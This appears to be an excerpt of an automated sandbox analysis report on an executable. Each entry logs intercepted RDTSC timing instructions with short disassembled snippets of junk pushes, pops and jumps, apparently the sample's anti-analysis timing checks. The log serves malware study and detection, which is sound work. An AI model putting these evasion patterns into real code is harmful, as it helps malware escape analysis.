Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 119850A second address: 1198512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1198AAF second address: 1198AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11A0D41 second address: 11A0D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11A5D83 second address: 11A5D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11A5D87 second address: 11A5D9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18664h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11550CE second address: 11550F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808D550FFh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push ecx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11550F0 second address: 1155133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 mov dword ptr [ebp+12453392h], edx 0x0000000d mov ebx, dword ptr [ebp+1248A0B7h] 0x00000013 mov cx, bx 0x00000016 add eax, ebx 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F3808C18658h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 mov ecx, dword ptr [ebp+122D39DDh] 0x00000038 movsx ecx, bx 0x0000003b nop 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1155133 second address: 1155137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1155137 second address: 115514D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F3808C18658h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 115514D second address: 1155151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1155151 second address: 1155157 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1155157 second address: 115515D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AB0E1 second address: 11AB0E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AB0E5 second address: 11AB0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 js 00007F3808D550F6h 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AB0F3 second address: 11AB10A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AB10A second address: 11AB114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AB114 second address: 11AB119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AEA27 second address: 11AEA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3808D550F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AEA31 second address: 11AEA3B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3808C18656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AEB97 second address: 11AEB9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AEB9B second address: 11AEBDC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 ja 00007F3808C18656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007F3808C18668h 0x00000012 jns 00007F3808C18656h 0x00000018 pop ecx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F3808C18661h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AEBDC second address: 11AEC25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55105h 0x00000007 jmp 00007F3808D55107h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3808D55107h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AEC25 second address: 11AEC29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AEFE5 second address: 11AF019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808D55103h 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 push edi 0x00000012 jmp 00007F3808D55103h 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AF019 second address: 11AF01F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11AF01F second address: 11AF029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3808D550F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B5EF2 second address: 11B5F06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C1865Ah 0x00000007 jl 00007F3808C18656h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B61EF second address: 11B620C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F3808D550F6h 0x0000000c jmp 00007F3808D550FCh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B620C second address: 11B6212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B6212 second address: 11B621C instructions: 0x00000000 rdtsc 0x00000002 js 00007F3808D550F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B621C second address: 11B622A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B622A second address: 11B6230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B678A second address: 11B67A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3808C1865Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B67A0 second address: 11B67A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B67A4 second address: 11B67AE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3808C18656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B7061 second address: 11B7067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11B78B9 second address: 11B78BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11BB170 second address: 11BB17B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11BB17B second address: 11BB181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11BB181 second address: 11BB185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11BB5A6 second address: 11BB5CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808C18668h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F3808C18656h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11BB917 second address: 11BB91D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11BBA6C second address: 11BBA70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11BBA70 second address: 11BBA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3808D550FEh 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11BBA8F second address: 11BBA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11BBA9A second address: 11BBAA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C0D81 second address: 11C0DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3808C18656h 0x0000000a pop edx 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F3808C18658h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3808C1865Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C0DA8 second address: 11C0DB2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3808D550F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C8437 second address: 11C843F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C88D3 second address: 11C88D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C88D9 second address: 11C88F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F3808C18664h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C88F6 second address: 11C8903 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jbe 00007F3808D550F6h 0x00000009 pop esi 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C8CAA second address: 11C8CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C8CB0 second address: 11C8CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C8E06 second address: 11C8E0C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C8E0C second address: 11C8E11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C8F50 second address: 11C8F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007F3808C18658h 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C97A5 second address: 11C97BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F3808D550F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F3808D550F6h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C9ED2 second address: 11C9F00 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F3808C18656h 0x00000009 jmp 00007F3808C18666h 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jbe 00007F3808C18656h 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11C9F00 second address: 11C9F08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11D0C86 second address: 11D0CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808C18667h 0x00000009 jmp 00007F3808C1865Ah 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3808C1865Ah 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11D0CBA second address: 11D0CDC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F3808D55107h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11D06B4 second address: 11D06BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11D06BA second address: 11D06D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F3808D55101h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11D0834 second address: 11D0838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11D0838 second address: 11D0842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11DD625 second address: 11DD629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11DD629 second address: 11DD655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3808D550F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jne 00007F3808D550F6h 0x00000017 popad 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e jmp 00007F3808D550FDh 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11DD655 second address: 11DD65B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11DD65B second address: 11DD65F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11E016E second address: 11E01DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F3808C18656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F3808C18675h 0x00000012 push eax 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop eax 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F3808C1865Bh 0x0000001d jo 00007F3808C18671h 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007F3808C18669h 0x0000002a push esi 0x0000002b pushad 0x0000002c popad 0x0000002d pop esi 0x0000002e push ecx 0x0000002f pushad 0x00000030 popad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11E7B18 second address: 11E7B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F1B6A second address: 11F1B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3808C18656h 0x0000000a jne 00007F3808C18656h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F1B7D second address: 11F1BA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F3808D550F6h 0x00000009 jmp 00007F3808D55108h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F1BA3 second address: 11F1BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F1BA9 second address: 11F1BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F1BAD second address: 11F1BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F1BB1 second address: 11F1BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F3808D550F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F1BC2 second address: 11F1BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F1BC6 second address: 11F1BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F5525 second address: 11F5533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 popad 0x00000007 jbe 00007F3808C18656h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F5533 second address: 11F553F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F3808D550F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F553F second address: 11F5582 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F3808C1865Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F3808C18665h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3808C18667h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F5582 second address: 11F5586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F5586 second address: 11F55A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18662h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F55A2 second address: 11F55A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11F55A6 second address: 11F55B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C1865Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FBB18 second address: 11FBB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11FBB1E second address: 11FBB24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
